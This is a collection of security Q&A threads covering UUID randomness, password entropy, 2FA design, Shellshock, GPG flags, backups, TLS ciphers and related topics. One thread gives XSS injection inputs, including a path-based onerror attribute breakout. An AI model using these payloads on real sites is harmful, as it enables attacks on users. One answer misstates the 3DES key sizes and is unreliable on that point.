Is Postgres's uuid_generate_v4 securely random? I'm using Postgres's uuid_generate_v4 in a uuid primary key column to generate secure one-time authentication tokens. Is this okay? Does Postgres use a secure random number source for generating these UUIDs or should I be generating them using a securely random source on the application-side before inserting them into the database?

The PostgreSQL documentation says that UUID generation relies on the OSSP library. A look at the source code of OSSP (version 1.6.2) shows that the code uses /dev/urandom on Unix-like systems (CryptGenRandom() on Windows), and also a much weaker PRNG based on current time, process ID, and the C library rand() function. Fortunately, the two outputs are XORed together, so the use of /dev/urandom is sufficient to guarantee strong randomness, regardless of how weak the other PRNG may be. Unfortunately, if the opening of /dev/urandom fails for any reason (e.g. the process had run out of free file descriptors at that moment), the library falls back to using the weak PRNG only, with no warning.

Therefore, while v4 UUID generated by PostgreSQL should usually include 122 bits of cryptographically strong randomness, there is always a possibility of degradation into a much weaker behaviour, with no reliable method to test for that occurrence. Also, none of this seems really documented, so it may change in other library versions. Therefore, caution advises not to rely on the strong randomness of UUID generated by PostgreSQL, and instead explicitly use a strong random source on the application side (typically /dev/urandom, but not hiding access errors).


Should I report a security vulnerability? I scanned a site using a vulnerability scanner and it found a vulnerability with a CVV score of 10. Should I send the report to the company?

Quick note: this answer assumes that you have permission to run scanners against the website.  Running scanners against a website is illegal in basically all jurisdictions, so if you are doing that then my only suggestion is: "STOP!".
What you shouldn't do
You should never send a vulnerability report from a scanner to a company.  90% of the time those are useless by themselves, and are likely to be ignored by any competent security team.  The reason is because scanners can have any number of false positives, so a positive from a vulnerability scanner does not actually mean there is a vulnerability.  However, it is common for new bug bounty testers to simply send vulnerability reports from scanners off to companies without any understanding of what the report says, if it is correct, or if it is even applicable.  As a result security teams will often just ignore a report that came straight out of a scanner.  Most bug bounty programs specifically state this.
What you should do
Instead you should take the time to generate a vulnerability report yourself, which means that you describe the nature of the vulnerability, steps they can take to confirm your findings, the risk the vulnerability creates for the company, and potentially even steps they can take to mitigate the danger.  That is what you should send to the company, and sending something like that is almost always a good idea.
If this is a company that doesn't have a public bug bounty program then they are even less likely to be able to make sense of a report out of a scanner, so it will be that much more important for you to take the time and provide an actually vulnerability report detailing the vulnerability, the impact to the business, an estimate of its severity, and suggested mitigation steps.  Obviously though that's not the situation you are in, since running automated security scans on a website without explicit approval is illegal in most jurisdictions and a bad idea in general...
tl/dr:
Should you send the results from your scanner to a company?  No, because that's often useless.  What you should do is verify that the scanner isn't reporting a false positive and then send a report detailing the vulnerability, what they can do to reproduce it, an explanation of its impact, and suggested mitigation steps.  You obviously shouldn't "hack" into the system under any circumstances.


What does "random" mean in the context of password creation? Disclaimer: as you will see from my question I'm a total outsider in this subject, just very curious.

I was wondering how easy it would be to crack a password-protected RAR5 file, and I found many answers along the lines of "a truly random password would be much more difficult to crack than a password based on real words". Also, a lot of answers refer to password randomness.

I know that passwords based on real words are easily cracked by dictionary attacks and probably this is what those answers refer to, but I'm still not clear about what "random" means in the context of password creation, for the following reason.

Even if I generate a sequence of characters using the best "randomizer" ever, the chances that I get HelloWorld and the chances that I get f.ex. gkwwpBnePU are in my understanding exactly the same, so does "random" in this context mean "as distant as possible from any real word"? But if yes, doesn't this make the password not-so-random after all?

The thought that started my doubt - which I believe is the same concept but I'm not sure - is: if I choose a password which is a real word but from an obscure dialect of a very uncommon language whose dictionary no attackers would feed to their cracking tools, would such password still be more crackable than gkwwpBnePU? (assuming of course that gkwwpBnePU isn't actually a real word in any language, see what I mean?).

"Random" means: "that which the attacker does not know".

The important point to understand is that attack costs are always on average. They don't make sense on a single data point. An attacker may always get lucky and find the right password on his first try. This is merely improbable.

If you generate passwords as sequences of purely random characters, then you may obtain "HelloWorld"; but usually you won't, and, crucially, the attacker won't be able to guess with non-negligible probability that your password consists of two concatenated English words because, on average, it does not.

One way to say it is that password entropy is not a property of the password, but of the process that generated the password; and it does not impact the contents of a single password, but the average contents of passwords, taken over sufficiently many experiments. More on password entropy here.

Averages are still the important notion because the attacker, like everybody else, thinks in terms of economics (although he, like most other people, is not completely aware of it). The attacker won't bother attacking your password if his chances of breaking it are lower than his chances of winning millions of dollars at the lottery. Even if he may always "get lucky", the lottery is much less effort, and 50 millions of dollars are a lot more rewarding than an access to your Facebook account.


Web site blocked by Windows defender and is marked as unsafe in IE I posted this originally on Drupal Stack Exchange, and it was recommended that I try here for an answer. Here is the original question:

  Visiting my Drupal 7 site just now with IE 11, I get this message:

    Windows Defender blocked content on this website lx7pyv.dofeqilr.com

    Hosted by: poligo.com Recommended icon Go to my home page instead
    Windows Defender blocked this site because it might contain threats to
    your PC or your privacy.

  What's up? I get no hits when I search for "lx7pyv.dofeqilr.com". I
  also have not issues in Chrome or FF. Is my site infected?

Is there some kind of malicious code on my site?

Since posting, I have noticed that it happens sometimes when I switch to Japanese (down in the footer of the site), but the English version seems to be OK. It is also intermittent. The error message changes too. I get different URLs reported, like one.hretiopalika.net.in etc.

Probably has more to do with dofeqilr.com than with your specific subdomain thereof.

http://www.spamhaus.org/query/dbl?domain=dofeqilr.com


Problems with this 2 factor authentication implementation I'm implementing my own 2 factor authentication using SMS.

We have a gift card service and the users are sent a link to their gift card. Every time they click on their link, we are verifying it's them by sending an SMS to their phone and prompting them for the code on our site.

I just want to make sure I haven't overlooked anything.

We first ask a user for their phone number and this is saved in a table called giftee_verification_details:

orderId | phoneNumber
----------------------
1       |  +35312345

The server then generates a random 4 digit code and saves in sms_codes table:

id   |   orderId    |    code   |   createdTimestamp     |  codeValidUntil
---------------------------------------------------------------------------
1    |      255     |   8145    |   2019-01-17 10:28:58  |   2019-01-17 10:33:58

codeValidUntil is the time the code is valid until - in this case 5 minutes from when the code was created.

We send this to the user's phone. When the user submits this, we check the code is correct and within the correct timeframe, then create a row in a table called sms_login:

id    |     smsCodeId     |    createdTimestamp    |    loginValidUntil
-----------------------------------------------------------------------------
1     |         1         |   2019-01-17 10:39:25  |     2019-01-17 11:39:25

loginValidUntil is the time this 'login' is valid for. So a user can view their gift card details if the current time is less than the last loginValidUntil. If the current time is after this, we redirect, send them another sms code and ask for it in our UI.

Are there any problems with this approach?

I don't see any glaring security issue with this, except for I don't really trust SMS for 2FA. I prefer TOTP codes, generated by Google Authenticator, Authy, or any other password manager out there.

Back to your process: you don't need 2 timestamp fields. It's trivial to calculate time + 5min on any language you use, so adding it twice is superfluous. Just createdTimestamp is enough.

An usability note: your users will not like to have to enter SMS codes every time their login expires for any reason. You could ask for the SMS when they first log, and toggle the userConfirmed flag somewhere. You know an user is trusted when they sent the first 2FA token, no need to ask them again and again. Ask again when they buy more than 2 or 3 gift cards, or redeem more than a few.


Are ordinary OS X desktops at risk from bash "shellshock" bug (CVE-2014-6271)? I've recently heard via Twitter about CVE-2014-6271.

Are ordinary OS X desktops, that aren't acting as a web server, at risks of receiving attacks that could exploit this vulnerability?

Define "risk".

The core of this attack is to create an environment variable that looks like a Bash scripting function but ends with the invocation of a program, and then cause Bash to be run.  Bash will see the environment variable, parse it, and then keep parsing past the end of the function and run the program.

Any method of triggering Bash execution with at least one attacker-controlled environment variable will work.  Web server CGI attacks are getting the attention right now, but a user logging in over SSH could do it (a failed login, however, can't).  It's possible that some FTP servers could trigger it (say, through running a post-upload script).  A PackageMaker-based installer could trigger it, but if you're running a hostile installer, you've got bigger problems than this.  There are probably many other ways as well.

The average desktop user doing average desktop user activities is unlikely to have open attack vectors that could be used to trigger this bug, but Bash shows up in enough unexpected places that it's impossible to say for sure.


Why do I get a warning when specifying the recipient for signing a document? I just got a Yubikey 4 and I generate the key with gpg2 --card-edit and now I have this:

$ gpg2 --list-key
/home/lilas/.gnupg/pubring.kbx
------------------------------
pub   rsa2048/EA3829E3 2016-11-08 [SC]
uid         [ultimate] Yubikey Test <yubikey@test.org>
sub   rsa2048/47C539AE 2016-11-08 [A]
sub   rsa2048/AC969F81 2016-11-08 [E]

If I don't specify the recipient, evething works fine, but if I specify it it show me the warning

  gpg: WARNING: recipients (-r) given without using public key encryption

$ gpg2  --sign /tmp/test

$ gpg2 --verify /tmp/test.gpg
gpg: Signature made Tue 08 Nov 2016 02:13:46 PM BRST using RSA key ID EA3829E3
gpg: Good signature from "Yubikey Test <yubikey@test.org>" [ultimate]

$ rm /tmp/test.gpg

$ gpg2 -r yubikey@test.org --sign /tmp/test
gpg: WARNING: recipients (-r) given without using public key encryption

$ gpg2 --verify /tmp/test.gpg
gpg: Signature made Tue 08 Nov 2016 02:14:20 PM BRST using RSA key ID EA3829E3
gpg: Good signature from "Yubikey Test <yubikey@test.org>" [ultimate]

I just found out that it works as I expected if I use the option -u instead of -r. What is the difference of using one or another? I feel that I misunderstood the meaning of recipient, could someone clarify this please? And what this warning means?

--recipient or the short -r is used to denote a recipient, which is something only relevant for encryption. GnuPG is warning you that you're not encrypting the messaage.

   --recipient name
   -r     Encrypt  for user id name. If this option or --hidden-recipient is not
          specified, GnuPG asks for the user-id unless --default-recipient
          is given.

If you want to select the key to sign a message, use --local-user or -u. For a message that's only signed, but not encrypted, it does not matter who the recipient is.

   --local-user name
   -u     Use  name as the key to sign with. Note that this option overrides
          --default-key.

This is usually defined in gpg.conf.

If you want to both sign and encrypt a message for yubikey@test.org, apply both commands (add --local-user if necessary):

gpg2 --recipient yubikey@test.org --sign --encrypt /tmp/test


Is cellphone based (tethered) Wi-Fi hot-spot hackeable? When we have Wi-Fi router and and somebody is connected to it, they can access its settings by visiting  192.168.1.1 or some other address. If password for router access is weak then router can be taken over.

What about tethered Wi-Fi hot-spot. I am using an Android cellphone and I have many notorious friends. Is it possible for a hacker to obtain sensitive information (or get root access) if they are connected to my tethered Wi-Fi hot-spot?

In theory yes it has its dangers like:

Someone can "Borrow" your connection
Someone can do packet sniffing

All these dangers only apply for users who are connected.
But since your phone doesn't have an IP for the control panel and your control panel is local and does not need access from an IP, no they could not get to your control panel.

All the data sent, received are encrypted and there will be use of a firewall.

Just keep your password safe and you should be fine.


Is recursively encrypting files inside containers of increasingly stronger or equivalent algorithm encryption worth it? I'm wondering if inserting a container within a container based approach like a recursive TrueCrypt or VeraCrypt container would provide a more secure protection against brute force attacks, I/O efficacy be damned, my primary concern is protection against brute force attacks.

Would including the keys of the image(s) it was nested inside along with its own key be secure? considering the nested image would have different keys not placed outside its own metaphorical bubble.

Is there a benefit or flaw in mixing NIST/Non-NIST algorithms and is it even realistic in coding  such a tool?

There really is no value in double or triple encrypting data in the manner you describe. First, as a non-cryptographer, you cannot know the level to which you may compromise the crypto process. You absolutely can do that when combining algorithms. A good example of this is 3DES, which is really 3 cipher rounds of DES with the 144 bit key being three 48 bit keys, is more secure doing ENC->DEC->ENC than doing ENC->ENC->ENC. How do I know this? Some crypto guy told me. How did he know? He understood the cryptanalysis.

Information protection does not layer up the same way physical protection does (fences, cameras, locked doors, armed guards, key swipes and passcode, etc.). Some solutions might work like physical protection, but us normal humans can't really tell.

Also, if it did work really well, why aren't cryptographers advocating for the types of layered crypto you describe? I suspect the answer is that the value add (if there is value) is not worth the effort or complexity.

Also, packing keys along with the cryptext (if I understood your proposal) sounds like one need only break the exterior cipher in order to peel back every layer of the onion and get the inside text.

You've inadvertently hit upon the most significant problem with encrypting data at rest (stored data crypto): what to do with the encryption key? A large crypto key makes the data safe. You can't memorize it and you certainly can't memorize a 2048 RSA private key sequence. Where do you put it? How do you protect? You could encrypt it, but then that becomes a recursive problem - what to do with the new key? Ultimately, some human needs to open a wallet or a key store of some type, which means that human has to memorize a long sequence of characters containing enough entropy (true randomness) to be worthy of the data and/or keys it's protecting. That's why people are enamored with USB fobs. Of course, that's a physical object, which is a PITA to carry around and, if lost, often results in loss of all keys and plaintext. In the end, the human may write down the passwords and put them behind a locked door or drawer.  So, back to physical security...


Would the following practice make email PCI compliant? If a system applied to the following three practice/technologies to each e-mail, would it rate as PCI compliant?

The email itself is encrypted
Encryption is applied end-to-end in the transport layer
The recipients were authenticated.
The encryption key was sent separate from the email itself

To make anything PCI-DSS compliant you'll have to go further than just defining some tech specs and leave it at that. PCI-DSS wants you to OPERATE a secure environment, not just design it.

So let's break it down.

You want to regularly send e-mails containing one or more PANs to one or more authenticated parties.
You've thought up a method of sending these emails over an encrypted transport and you'll encrypt the specific e-mails too.

To make this work you'll probably have to do the following, next to all the PCI-DSS related things you're already doing:

Check and/or update your Security Policy to allow PANs to be transported out of the CDE this way, with requirements for the exact method.
Determine who you are sending these e-mails to

For employees of the same entity, you're going to have to include their machines in the PCI-DSS scope (config standards, proper network config, disk encryption, vuln scans, the works) and train these employees on proper usage of the system according to PCI-DSS standards. Since your email server will store these emails it may come in to scope, too; discuss with QSA/consultant.
If the recipients are suppliers of some sort, make sure your contract with them states that they need to be either PCI-DSS compliant (if they participate in CC processing somehow) and/or need to sufficiently protect the data you are sending them. If they need to be PCI-DSS compliant, collect their AOC annually.
If the recipients are customers/merchants, your acquirer is probably going to want you to manage their PCI-DSS status too. Collect AOC or SAQ annually.
In both cases, you probably want to agree on some sort of retention period.

Design and implement processes to manage (rotate after a period,revoke in case of compromise,generally replace) the encryption keys used to send these e-mails, probably also those of the recipients (if you use PGP). See chapter 3 of PCI-DSS:

A way to authenticate/verify/enroll/unenroll recipients and the keys used for them
Have a secure way of dealing with the encryption keys within your application (private key needs to be encrypted, encryption passphrase can't be stored on the same server: will probably need split control to work with)
A process to assess if the used technology is still valid and a way to move forward when it's considered insufficient

Design and implement the actual product according to the change process:

Make sure you don't store unencrypted versions of the email in tempfiles or logs
Having a way of knowing what you sent where may help in case of issues
Have the system properly tested (also for security issues)

Have a (incident) process in place to deal with rogue/compromised recipients, compromised keys, etc.

It may be worth the effort to try and come up with a different solution that makes things easier for you. Why send PANs out if you can have people come to your system? That may be easier to deal with.


Would a predefined shared secret key be good here I'm a software developer working with hardware devices that are deployed on the field. Every now and then, I would need to update the hardware's firmware (upgrades, patches, etc)

I'm thinking of now, implementing a secure channel to upgrade this firmware, and for some checking to be performed by the hardware before accepting this firmware.

I have a basic understanding on key exchange protocols, encryption ciphers, etc, and that's about it. I do not necesarily know how to apply them in the real world, so I was hoping I could get some help here.

The firmware upgrade would be performed through a custom software that runs on the PC written by me, over TCP/IP.

My main goals are

prevent the firmware from being leaked to public as it contains our IP.
prevent the hardware from running other firmwares other than firmware released by me.

What I do know, on a high level point of view is

To encrypt (with a pre defined shared secret key) the firmware on the PC software, and send it over ot the firmware.
Once the firmware receives this encrypted data, it will decrypt it with the pre defined shared secret key, and performs the upgrade

My questions are:

Is defining a shared secret key secure in this aspect?
Is there a "bread n butter" solution to achieve my requirements?

With respect to your goals you need:

Data confidentiality->Encryption. The question is public one or secret one. I guess you need a secret one in which only the owner of the key can encrypt and decrypt. You don't want anyone to encrypt firmware.
That implies an integrity mechanism. If you use a secret key scheme then you want either an authenticated block cipher or a secure combination of MAC (message authentication code) and encryption. Encrypt-then-Mac approach tends to be the more secure for various reasons.

For your questions:

Secret key sharing is secure as long as the involved parties are trusted and as @Ricky mentioned if you can't define different key per device.
You deploy the secret key at your hardware devices and the server and then you use that with AES for encryption. For authentication unless you use an appropriate cipher that combines both you MUST use different keys for the MAC authentication.


Reseting passwords using IP address I sent a password reset request, to reset an account of mines and after having some talk with a rep I told him I forgot the email to the account which he told me to just provide the IP address that I used to login to the account doing so I gave it to him and I got back access.

But, I can see some problems with this for example what if I was in an environment where my IP address is being shared between multiple systems? Then that means someone else can easily get it and use it to reset the password.

Is this a safe way to verify identity for an account password reset? It seems too easy for someone to get the IP address and do this.

It's not a safe way to verify you are the same person as the one who owns an account. It could be a relatively safe way to identify which account you (potentially) own if you have forgotten the username. (Or if your email address functions as your user name.)

If your IP address has only been used with one account recently, then the rep may be able to give you a hint like "The email address starts with an 'A' and ends in '...l@example.com". If they refuse to reset the password and refuse to change the email address, then I think you would be safe. (Or rather as safe as the email-based password reset system normally is. Ignoring the privacy breach that is revealing parts of your email address.)

But it definitely isn't enough to prove you are the account owner. Someone may observe you log in one time on a public WiFi network. They can determine which IP you had used if the network uses NAT. After connecting to the network themselves they will be able to use some website to tell them what external IP the public network is using.

Alternatively someone could identify your user name and send you a private message with some link. If you visit the website then your IP will appear in their server logs. If they have access to those logs then they can determine your address. Clicking the link might not even be required if, for example, the message is sent on a service that lets users post images hosted on any third party domain or if your web browser prefetches links automatically.


Are NT Authority account users is safe? I have an alert for monitoring windows server logon success (event ID 4624) and already whitelisting all the authorized users in the alert rule but after a while, there is some alert showed up using domain NT AUTHORITY with account names like SYSTEM and some MSSQL services account with domain NT Service Logon. The logon type 5 (if I'm not mistaken this logon type is a service start) and from my research is NT AUTHORITY are some kind of the Local System account for Windows and it is safe because it was a built-in user.

Is it 100% safe to whitelist those accounts? or there are some threats that can occur from those accounts?

NT AUTHORITY means the local machine's built-in service accounts. The best known of these is the SYSTEM account - which runs everything from the login screen to most of the high-privilege background services - but there are others by default such as LocalService and NetworkService (more restricted than SYSTEM and used to run background services that don't require enough access to completely take over the OS). NT Service Login (also just known as SERVICES) is for user-installed service accounts. Broadly speaking, a service account is any account which can be used as the principal for a non-interactive service process (most of them also disallow local or remote user login, to reduce attack surface). Whenever a Windows Service starts (this includes all the things listed in services.msc but also stuff like drivers), the Service Control Manager (or SCM, running in services.exe, which itself runs as SYSTEM) creates tries to create a security Token for the service's defined user - which may be one of the built-ins or any other service-login-allowing user - via a system call that gets logged as a service login attempt (this is what you're seeing). If the call succeeds, the SCM launches the service's process using that Token.

To answer your question:

It's only safe to whitelist these accounts to the degree that you are sure nobody can install a malicious service that uses them. Installing a service is simple - it's a few API calls to the service control manager, or just a few registry edits followed by a reboot, and many software installers will do it - but both options require either Administrator-level privileges or some way to bypass ACLs (such as offline access to an unencrypted OS volume). Because installing a service requires high privileges, any user with such privileges can configure any service to run under any account.


Protect backup from ransomware I'm planning to (finally) backup all my personal files from my home network on a new HDD.

If I'd use an external HDD with USB cable the ransomware would theoretically encript these data too. Would this be the case If I set change the writing permissions?

Alternative Question; how can I protect the external HDD against unauthorized access (including encrypt software).

Would a sperate linux PC (e.g RasPi with the HDD) be an alternative, if I write a program that copies all relevant files  periodically to the Pi? If only selected files/folders would be transfered, the malware shouldn't be sucessfull in this case; would it?

As far as I'm informed every device that's omehow connectes is potentially vulnerable.

Would this be an acceptable solution?

Having 2 HDD's, one conected to Pi as a mini NAS, one completely offline.
Save any progress from my Live System to the Pi periodically. Let's say daily. So I have a daily Baclup of my Important Data. I also could use a 64 GB SD Card, as this is not a huge ammount.

Also, I create another Backup manually every x Days/Weeks to the standalone Device. If the Pi is also corrupted I will notice this and still have a (not up to date but working) Backup.

Use a backup solution which pulls from the primary system, not one where the primary system pushes to the backup system. The backup system should have read-permissions to the primary system while the primary system doesn't have any permissions at all on the backup system.

Also, the backup solution should not just have a single backup but be able to also restore a snapshot from days, weeks or months ago.

You can set up a home server which does backups like this, but there are also many plug-and-play hardware solutions available which work like this out-of-the-box.


Managing passwordless SSH authentication from servers to server I have a bunch of servers that need to transmit data to one server using SCP. What is the best practice for using SSH key-based authentication?

Option 1: Create a unique private key for each host and place the public key on the remote server?

Option 2: Copy the same private key to all the servers to connect to the remote server?

Or what other options would be available?

Using unique keys would be better from a security standpoint.

Create a unique key for each server and distribute it using the copy-ssh-id command.

Related: https://askubuntu.com/questions/4830/easiest-way-to-copy-ssh-keys-to-another-machine


DOM based XSS inside src attribute I have the following JavaScript code:

var url= document.location.href;
document.write("<img src='?bla="+document.location.href+"'>");

I am able to inject code when I append e.g. ?b=a'onX=alert(1);' to the URL, but this only works in browsers where ' will not get encoded.

Are there any other attacks that I didn't consider? Is there another way to break out of the src attribute?

Are there any other attacks that I didn't consider?

To prevent the single quote form getting encoded, you could try to sneak your payload into the path instead of the query string. For example, if the vulnerable page resides at http://example.com/path/vulnerable.php you could try something like this:

http://example.com/'onerror='payload/..%2Fpath/vulnerable.php

The idea is that some servers resolve the path implicitly. They don't check if the first folder 'onerror='payload actually exists, but immediately switch back to the parent directory (../) and resolve the rest of the path without issuing any redirect. (URL-encoding the slash as %2f prevents your browser from automatically shortening the path.)

  Is there another way to break out of the src attribute?

No, a matching quote is your only chance to escape from the attribute value as explained in this answer.


Passwords - any statistics on user behavior? I'm looking for analyses of how users choose and use passwords.  I'm sure there are many resources out there that analyze user passwords.  For instance, I've seen many people analyze dumps of password databases from sites that got hacked.  I'd like to learn more about what's known on this topic, and find resources where I can learn more.

I'm particularly interested in data on questions such as:

How much entropy do users' passwords have?
How many users choose a guessable password?
What are the most common passwords?
What does the distribution of password entropy or password length look like?

Let's collect as many of these resources and analyses as we can find.  The more, the merrier!

Also feel free to post resources that analyze other related questions about user behavior surrounding passwords, e.g.:

How many users use the same passwords on multiple sites?
How many different passwords does a single user typically have?
How do users manage their passwords?
How many users write down their passwords somewhere?
Do users pick passwords more securely for critical tasks, like online banking?
How many users are fooled by phishing sites or can be tricked into revealing their passwords?

And so on.

The big web password leaks (particularly RockYou, where the leak was of plaintext passwords, so even the strongest passwords are visible) have been analysed several times. See e.g. Imperva and Troy Hunt -- or just get hold of some of the password lists and do your own analysis to calculate entropy etc.

Troy and a group from Cambridge both found significant password re-use across sites of around 70%.

An interesting CISCO, RedJack and Florida State paper gives some stats on the charset mix/entropy of leaked passwords -- longer passwords tend to also have a greater charset mix -- and the effect of password policies such as "must contain a digit" on password strength. This analysis shows that most (>70%) users faced with a "must contain a  digit" policy will use a simple numeric pre/suffix, with many of the remainder using l33t-speak substitutions (neither of which provides much protection from JtR-type tools); simimlarly, 30% of passwords containing a "special character" have just one, at the end. The paper also shows that the NIST "entropy model" is a poor indicator of password crackability in the wild, because it fails to account for the use of common words as the basis for the vast majority of passwords.

That paper references another, which showed what we all know -- that password expiration policies result in users making small incremental changes to generate a new password each expiry -- and that this knowledge could be used by attackers to break "new" passwords given a previous one much faster than brute-force or dictionary attacks would allow. That paper tentatively recommends non-expiring passwords with much stricter length/complexity requirements (e.g. a dicewords-style passphrase).

In their OWASP 2011 presentation KoreLogic showed a slide with the "proportion cracked" for various (hashed/encrypted) password leaks, which suggests that less than 10%, and probably <2%, of users have passwords that are complex enough and long enough to resist a combination of dictionary, rainbow and brute-force attacks. We can also infer that brute-force attacks do noticeably worse than rainbow attacks -- the two examples on that slide that include salt have significantly lower proportions cracked than the plain MD5/no-salt cases.

Re: Do people use more secure passwords for their banking etc. accounts:

The KoreLogic analysis indicates that "corporate" passwords are rather more complex than typical "web passwords". This difference appears to be due to typical corporate password policies (e.g. mandating minimum length and charset usage) which both makes the typical password more "complex" but also leads to some commonly repeated password derivation patterns. I don't think we can assume that passwords on banking/financial sites will be any more complex in the absence of corporate-style policy enforcement.

The "blanked out" entry on the Hash EXchange screenshot in the KoreLogic presentation presumably relates to the "unnamed financial site". That might not be a bank, but the 70% cracked proportion gives us an indication that, while users might be using somewhat stronger passwords there (compared with gawker etc.), a large majority still use weak passwords.


How can a system enforce a minimum number of changed characters in passwords, without storing or processing old passwords in cleartext? In some environments, it is required that users change a certain number of characters every time they create a new password.  This is of course to prevent passwords from being easily-guessable, especially with knowledge of old passwords such as a departed employee might have for a shared service account.

I have separate questions open to address button-pushing side of this enforcement.  However, I'm also curious as to how this enforcement works on the back end.  If a cleartext password cannot be derived from a strong hashing algorithm, how does the system determine how many characters have been changed in new passwords?

I'm not sure about comparing with all the passwords the user has previously used, as it really depends on the hashing system your using and I would say if its possible to derive any similarity from the hash then its not a very good system to begin with.

But assuming that the user has to supply their current password when setting their new password, you could at least check the new one against the current one as you'll have both as unhashed at that point.

The pam_cracklib module on Linux checks passwords like this and does a few basic checks by default.

Is the new password just the old password with the letters reversed ("password" vs. "drowssap") or rotated ("password" vs. "asswordp")?
Does the new password only differ from the old one due to change of case ("password" vs. "Password")?
Are at least some minimum number of characters in the new password not present in the old password? This is where the "difok" parameter comes into play.

You can find some more details about it here.


Nessus for Operational Technologies I want to scan with Nessus a network which include OT devices but I don't know how can I config Nessus to do it.

Firstly, I disable ping scan, before of Nessus scan I do a IP enumerate with Nmap, and Service Discovery option. In addition, I change default value of Port Scanning, setting the OT tipical ports, more or less 25 ports. Besides, in Assessment I disabled Request imformation about thre SMB domain.

Finally, on Advanced I set 1 on Network timeout (in seconds), Max simultaneos checks per host and  on Max simultaneous hots per scan. On Max number of concurrent TCP sessions per host and Max number of concurrent TCP sessions per scan I set the value 25.

On Plugins I don't know what change can I do to do a correct and effective scan with Nessus.

I am doing the scans via VPN.

Is correct my config? What is the best plugin config to OT devices?

Thanks!

I think whatever configuration settings you have done are correct for OT devices. Regarding plugins, I think it would be best to search plugins on Nessus Website. For example, Check this nessus plugins search website: https://www.tenable.com/plugins/search?q=OT&sort=&page=1

The listed plugins (First 4 on the plugins page) are the generic ones. You need to put little bit of efforts to find some more according to your device or your scan requirements.


Can one tell if a password guess was close by the hash result? I have been reading about password management lately (very interesting stuff!) and was wondering how different the hashes would be for similar strings.

Is it possible to know if a password guess was close by comparing the resulting hash to the real hash?

For example, if the real password is "password123" and a hacker tries "Password123", "password1234", "password124", etc., would the generated hashes be similar enough to the real hash that either the hacker or their computer could tell they were on the right track?

Let's assume that the hacker knows any salt, pepper, cayenne powder, adobo, whatever... If they try the right password they will generate a matching hash.

(I think this might vary depending on the hash function used, but I don't know this for sure.)

No, you cannot determine how close you guessed looking at the hash. A hash function is designed with this in mind: one single changed bit on the input must change a lot of bits on the output. Its called Avalanche Effect.

Bellow are SHA1 hashes for some of your example passwords:

cbfdac6008f9cab4083784cbd1874f76618d2a97 - password123

b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1 - Password123

2b4bfcc447c3c8726d26c22927a68f511d5e01cc - password124

115b55dcc1cd9a0dfdd60c120e83eaf658c45fc6 - right horse battery staple

abf7aad6438836dbe526aa231abde2d0eef74d42 - correct horse battery staple

A single bit change will completely change the hashing result. In fact, in an ideal case for every bit of input change every bit of output will be changed with a 50% probability.


Is it even possible to hack a television channel? In spite of all the hacking news in the recent few years I never heard of someone who managed to hack a TV channel. What makes them so secure?

Hacking a television station is hard.  Most of the broadcast infrastructure isn't connected to the Internet, making outside intrusion difficult or impossible.

Let's say you want to hack your local news station.  Problem #1 is that their equipment isn't connected to the Internet -- it's quite possible that they're still using a bank of Betamax machines for ads and canned programs, and direct-wired connections for live television.  Problem #2 is that the broadcast antenna has either a hard-wired connection to the studio or a narrow-beam microwave connection.  Taking over their broadcast pretty much requires a physical break-in.

Okay, how about taking over a satellite broadcast?  These days, those are usually encrypted to prevent unauthorized people from listening in, so you can't replace the official uplink with your own, even if you can get a powerful enough transmitter into a location that the satellite is listening to.

The most common form of "hacking" is pirate television, where someone sets up an unauthorized transmitter and broadcasts, possibly overwhelming the signal from an authorized user of the channel.  That said, other forms of hacking do occasionally occur.


How to disable cipher RC4 in ubuntu 12.04 I have been doing Network Scan for our box and Ncircle reported SSL Server support RC4 ciphers for SSLv3. Based on that I did a search and I plan to add to /etc/apache/conf.d/security the following:

SSLProtocol -ALL +SSLv3 +TLSv1
SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:!LOW:!SSLv2:!EXPORT

So if I understand well, the sign ! is a negation like in a programming language then my rules shoul be the following:

SSLProtocol -ALL +SSLv3 +TLSv1
SSLCipherSuite ALL:!ADH:!RC4+RSA:+HIGH:+MEDIUM:!LOW:!SSLv2:!EXPORT

I kept on reading the report and There were complain about support for CBC and weak MAC

I searched on and I found 2 blogs hynek.me and raymii.org. I am a little bit confuse. Which directive are recent address my current issues.

A little enlightenment is needed for me to pluck this. Thank you

EDIT:

After much trouble and reading. I have come up with this:

ALL:!ADH:!RC4:+HIGH:+MEDIUM:!LOW:!SSLv2:!SSLv3!EXPORT

I have checked with

openssl ciphers -V 'ALL:!ADH:!RC4:+HIGH:+MEDIUM:!LOW:!SSLv2:!SSLv3!EXPORT' | grep CBC

openssl ciphers -V 'ALL:!ADH:!RC4:+HIGH:+MEDIUM:!LOW:!SSLv2:!SSLv3!EXPORT' | grep RC4

I am not sure whether this is good enough. I suspect some browsers might have compatibility issues with that.

There are still some RC4 ciphers in your list. To check which ciphers are offered by the server enter your list into 'openssl ciphers -V', i.e.

  $ openssl ciphers -V 'ALL:!ADH:!RC4+RSA:+HIGH:+MEDIUM:!LOW:!SSLv2:!EXPORT' | grep RC4
      0xC0,0x11 - ECDHE-RSA-RC4-SHA       SSLv3 Kx=ECDH     Au=RSA  Enc=RC4(128)  Mac=SHA1
      0xC0,0x07 - ECDHE-ECDSA-RC4-SHA     SSLv3 Kx=ECDH     Au=ECDSA Enc=RC4(128)  Mac=SHA1
      0xC0,0x16 - AECDH-RC4-SHA           SSLv3 Kx=ECDH     Au=None Enc=RC4(128)  Mac=SHA1
      0xC0,0x0C - ECDH-RSA-RC4-SHA        SSLv3 Kx=ECDH/RSA Au=ECDH Enc=RC4(128)  Mac=SHA1
      0xC0,0x02 - ECDH-ECDSA-RC4-SHA      SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=RC4(128)  Mac=SHA1
      0x00,0x8A - PSK-RC4-SHA             SSLv3 Kx=PSK      Au=PSK  Enc=RC4(128)  Mac=SHA1

A good source for how to configure your server correctly is ssllabs.com. For examples of useful cipher settings see https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-secrecy.


IFTTT maker channel and Security Concerns This is about IFTTT Maker Channel and security around it. They announced a new Maker Channel recently where you can receive and make web requests for automation.
For example, I can turn ON/OFF my home lighting by looking it up with Google Home. This works flawlessly by using a raspberry pi and then exposing it with a web request.

I will have to do a port forward with my home router to be able to receive requests from IFTTT. - This is my understanding on how it works.

Now, the question. is - I am exposing a web request from open internet to my home automation. The secret is the web request parameters on http channel. If one knows the URL, he can do everything IFTTT can (manually)...correct?

How can I secure it?

